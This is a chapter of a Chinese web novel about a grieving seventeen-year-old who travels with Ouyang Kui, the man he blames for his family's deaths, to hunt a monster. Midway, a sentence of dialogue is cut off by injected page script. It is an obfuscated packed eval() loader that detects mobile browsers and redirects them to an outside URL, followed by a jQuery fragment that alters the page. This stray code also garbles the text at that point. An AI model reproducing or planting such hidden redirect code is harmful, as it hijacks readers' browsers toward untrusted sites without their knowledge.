我叫梁萧,这段时间,往昔的记忆如同狰狞恶鬼,不分昼夜地反复纠缠,令我深陷失眠的泥沼,难以安宁。一周前,那场突如其来的灾祸,如同一把锋利的巨斧,无情地斩断了我生命中所有的美好。至亲的奶奶,那个用全部的爱为我筑起温暖港湾的人;还有相认不久的母亲,那个我刚刚开始熟悉、依赖的身影,在转瞬之间,便被命运的洪流无情卷走。
奶奶宛如我生命里炽热的太阳,在过去漫长的十七年里,她含辛茹苦,用柔弱的身躯为我遮风挡雨。犹记得每个寒风凛冽的冬夜,窗外北风呼啸,如野兽般嘶吼,我蜷缩在冰冷的被窝里,双脚如同冰块。奶奶总会轻手轻脚地钻进被窝,将我冰冷的小脚紧紧揣在她温暖的怀里,用她那布满老茧、粗糙却饱含爱意的双手,一下又一下地轻轻摩挲,嘴里还哼唱着古老而又舒缓的歌谣。在奶奶温暖的怀抱中,我渐渐进入甜美的梦乡。而母亲的出现,如同一束光,照亮了我内心深处那个缺失母爱的角落,让我第一次感受到了完整的母爱。然而,这份爱太过短暂,仿佛清晨草叶上的露珠,太阳一出来,便消失得无影无踪,徒留我满心的怅惘与悲伤。
那个夺走我一切的男人 —— 欧阳馗,此刻就在我前方。他身着一件黑色风衣,衣角随着步伐轻轻摆动,看似随意的步伐间,却透着一股难以捉摸的自信。每当我看到他的背影,心中的仇恨便如汹涌的潮水,瞬间将我淹没。是他,用那冰冷的匕首,残忍地杀害了我的母亲;也是因为他的过错,养育了我十七年的村庄,那个充满欢笑与温暖的地方,毁于一场来势汹汹的山洪。
我清晰地记得那个可怖的夜晚,天空仿佛被一只无形的巨手狠狠撕裂,厚重的乌云如墨般翻滚涌动,发出阵阵咆哮,瞬间将白昼变成了伸手不见五指的黑夜。惊雷在头顶炸响,震得大地都在剧烈颤抖,豆大的雨点如子弹般疯狂倾泻而下。突然,一声山崩地裂的巨响传来,半边山坡像是被天神挥舞的巨斧劈开,裹挟着大量的山石和泥土,如脱缰的野马般朝着村庄滚滚而来。汹涌的山洪如同一头愤怒的猛兽,张牙舞爪,所到之处,一切都被无情吞噬。眨眼间,那些承载着我无数回忆的黑瓦白墙村舍,便消失得无影无踪。一切发生得如此迅速,以至于我都没来得及听到一声呼喊,那些熟悉的房屋便如同泡沫般破碎,仿佛它们从未在这世间存在过。
这一周以来,我和欧阳馗始终在路上,我和他之间仿佛隔着一道坚不可摧的冰墙。今天,他像往常一样,突然停下脚步,动作夸张地转过身,脸上挂着那副玩世不恭的笑容,嘴角咧得几乎要到耳根,带着戏谑的口吻问道:“喂,小子,肚子饿不饿?” 说话时,他还故意挑了挑眉毛,眼中的戏谑如同火苗般跳跃,似乎对我内心的痛苦毫不在意,把这一切当成了一场有趣的闹剧。
我对他的话置若罔闻,满心的厌恶驱使我加快脚步,像一阵风般迅速超过了他。类似的场景在这一周里不断上演,尽管他每次的搭话都换来我的冷漠,可他却像个不知疲倦的小丑,乐此不疲。“小屁孩子,脾气还挺大。” 他在我身后小声嘟囔着,声音不大,但我还是听得清清楚楚。即便我知道,一周前的那场灾难或许夹杂着诸多误会,但在我心中,他就是杀害我母亲和奶奶的罪魁祸首,这份仇恨如同一颗毒瘤,在我心底深深扎根,疯狂生长。
前行的道路很快出现了岔口,我站在路口,望着两条截然不同的路,内心一片迷茫。两条路像两条巨大的蟒蛇,蜿蜒着消失在远方。我不知道该何去何从,也不清楚自己为何要跟着这个让我恨之入骨的人。可如果不跟着他,我仿佛就会被这个世界遗弃,在无尽的黑暗中迷失方向,就像一只断了线的风筝,不知飘向何处。
“怎么不走了?继续啊!” 欧阳馗嘴角带着一抹嘲讽的笑,几步追了上来。他从口袋里掏出一包被压得不成形的饼干,动作粗鲁地塞到我手里,嘴里还念叨着:“小屁孩,不吃东西可长不高。”
我愤怒地推搡着,双手如同愤怒的公牛的犄角,试图将他推开,饼干掉落在地。他却像没事人一样,耸耸肩,转身沿着下坡路走去。我跟了几步,肚子却不争气地咕咕叫了起来,那声音仿佛在向全世界宣告我的窘迫。无奈之下,我只能红着脸,极不情愿地回去捡起饼干。刚站起身,就看到欧阳馗站在不远处,脸上挂着坏笑,那笑容就像一把尖锐的刀,刺痛我的自尊,仿佛在嘲笑我的窘迫。我干咳几声,试图掩饰内心的尴尬,好在他很快又转身继续前行。
下坡路的尽头是一片低矮的树林,阳光艰难地穿过茂密的枝叶,在地上投下斑驳的光影。两边的枝桠如同张牙舞爪的怪物,不停地抽打着我的脑袋,每一下都仿佛带着恶意。越往树林深处走,光线愈发昏暗,四周弥漫着一股腐叶的气息,那味道就像腐烂的尸体,让人作呕。不知名的野鸟发出怪异的叫声,那声音仿佛是从地狱传来的哀嚎,诉说着这片树林的神秘与恐怖。
压抑和怨恨在我心中不断累积,终于,我忍不住爆发了:“喂!我们到底要去哪儿?” 这一周来,我们一直在盲目地赶路,我却对目的地一无所知。此刻,身体的疲惫和内心的怨恨如火山般喷发出来,我的声音在树林中回荡,惊起几只栖息的鸟儿。
欧阳馗停下脚步,慢悠悠地转过身,脸上依旧挂着那让人讨厌的笑容,眼睛眯成一条缝,调侃道:“哟,小屁孩终于肯开口说话了?”
我怒不可遏,握紧拳头,指关节因为用力而泛白,朝着他的脸冲了过去。可他反应敏捷,轻松地伸出手,像一堵墙般将我的攻击挡了下来,我被他固定在一米开外,动弹不得。
“小屁孩,叫你不好好吃饭,连打人都够不着。” 他的语气中充满了嘲讽,笑声如同一把尖锐的刀,一下又一下地刺痛着我的心,让我恨不得将他碎尸万段。
我愤怒地打掉他的手,独自向前走去。我心想,反正只有一条路,我自己走也不会迷路。
前方的路越来越狭窄,两旁的树木像是在互相较劲,疯狂地向中间生长,几乎将天空完全遮蔽,只留下一丝微弱的光线。鸟叫声愈发清晰,那声音仿佛就在耳边,让人毛骨悚然。偶尔有黑影从灌木丛中一闪而过,吓得我浑身一颤,冷汗瞬间湿透了后背。我忍不住回头望去,只见欧阳馗嘴里叼着烟,一只手随意地插在裤兜里,不紧不慢地跟在后面。不知为何,看到他的身影,我原本紧张不安的心竟稍稍平静了一些,仿佛在这黑暗的树林中,他成了我唯一的依靠。
原本下坡的小路逐渐变得平坦,前方突然出现一个高坡,挡住了我们的去路。我踮起脚尖,努力张望,发现坡顶是一条宽阔的马路,向两边无限延伸,看不到尽头。正当我思索如何爬上高坡时,身后传来一阵急促的脚步声,欧阳馗如一阵风般冲了上去,站在坡顶,居高临下地看着我,脸上的得意劲儿仿佛在说他征服了全世界。
“瞧瞧,我就说吧,小屁孩不好好吃饭,连爬坡都费劲。” 他脸上的得意劲儿让我恨不得冲上去揍他一顿,将他那副嘴脸彻底打烂。
我涨红了脸,奋力往上爬,可脚下一滑,重重地摔了个四脚朝天。欧阳馗笑得前仰后合,拍手叫好:“哈哈,你这模样太逗了!” 他的笑声在空气中回荡,让我感到无比屈辱。
经过一番努力,我终于爬上了马路。我气呼呼地坐在地上,心里暗自抱怨:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401111|168688||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这什么鬼马路,干嘛修在这么高的坡上!” 放眼望去,远处是一片郁郁葱葱的野林,我们刚刚走过的小路,像一条蜿蜒的蛇,隐匿在茂密的树林中。
欧阳馗抽完烟,将烟蒂踩灭,说道:“休息够了吧,还有正事要办。”
“什么正事?” 经过刚才的折腾,我已经精疲力竭,此刻也懒得再跟他发脾气,只想多休息一会儿,恢复一下体力。
欧阳馗神秘兮兮地凑到我耳边,压低声音说:“抓妖怪。”
听到 “妖怪” 二字,母亲遇害时的惨状瞬间浮现在我眼前,她躺在血泊中,胸前插着匕首,眼神中充满了恐惧和不甘。泪水模糊了我的双眼:“妖怪?我娘……”
欧阳馗意识到自己说错了话,脸色变得严肃起来,眼神中闪过一丝愧疚:“总之,待会儿你就跟紧我,别乱跑。我答应过你娘,要照顾好你。要是你出了什么事,我没法向她交代。”
我们陷入了沉默,我站起身,拍掉身上的尘土,不敢直视他的眼睛:“走吧。” 欧阳馗率先迈开脚步,我默默地跟在他身后。太阳渐渐西斜,将我的影子拉得很长很长。走着走着,我发现欧阳馗的脚步忽快忽慢,时不时还传来一阵慌乱的脚步声。我疑惑地抬头望去,竟看到他在踩我的影子,每一脚都精准地朝着影子的脑袋踩去,就像一个调皮的孩子在玩着幼稚的游戏。
我无奈地翻了个白眼,对他的幼稚行为感到无语。平心而论,如果抛开仇恨,欧阳馗的长相确实出众。他身高一米八五左右,身材挺拔,像一棵屹立不倒的青松。剑眉星目,鼻梁高挺,在阳光的照耀下,脸上的绒毛清晰可见。他的碎发遮住了眉眼,让人难以捉摸他的表情。乌黑的头发向后梳去,在后颈处整齐地截断,露出一截白皙的脖子。
就在我暗自打量他时,地面突然开始微微震动。一辆黑色轿车如闪电般从我身后疾驰而过,连喇叭都没按。我停下脚步,愤怒地咒骂着:“这司机怎么回事,一点素质都没有!” 那声音在空旷的马路上回荡,宣泄着我的不满。
欧阳馗也停下了脚步,我原以为他又在等着踩我的影子,便故意走到马路另一边。可当我看到他时,发现他正盯着路边一块告示牌,神情专注,仿佛被什么东西深深吸引。
“前方事故多发地段,请注意减速慢行。” 告示牌锈迹斑斑,但上面的白字却十分醒目,像是刚印上去的,在阳光的照射下泛着亮光,仿佛在向我们发出警示。
“就是前面了。” 欧阳馗转过头,看着我说道,眼神中多了一丝凝重,“小屁孩,跟紧了,我们要办正事了。”
我望着他,心跳不由自主地加快,一种不祥的预感笼罩着我。西边的太阳缓缓落下,最后一抹余晖洒在大地上,黑暗渐渐蔓延开来,仿佛预示着一场更大的危机即将降临。在这逐渐黯淡的天色中,欧阳馗的身影显得有些模糊。我握紧了拳头,心中的怨恨与疑惑交织在一起。我不知道他到底要带我去哪里,也不知道所谓的 “抓妖怪” 究竟是怎么回事。但我清楚,无论前方等待着我的是什么,我都不会轻易放过他,我一定要为母亲和奶奶讨回公道。
随着夜幕的降临,路上的车辆越来越少,周围的气氛也越发诡异。偶尔有几只夜鸟从头顶飞过,发出凄厉的叫声,那声音仿佛是在为即将到来的危险奏响序曲。欧阳馗加快了脚步,我也紧紧地跟在他身后,不知道在这黑暗中,还会有怎样的危险等待着我们…… 就在这时,远处传来一阵低沉的轰鸣声,仿佛是从地狱深处传来的怒吼,让人心生恐惧。欧阳馗的脚步顿了一下,随即又加快了速度,我能感觉到,一场惊心动魄的较量即将拉开帷幕。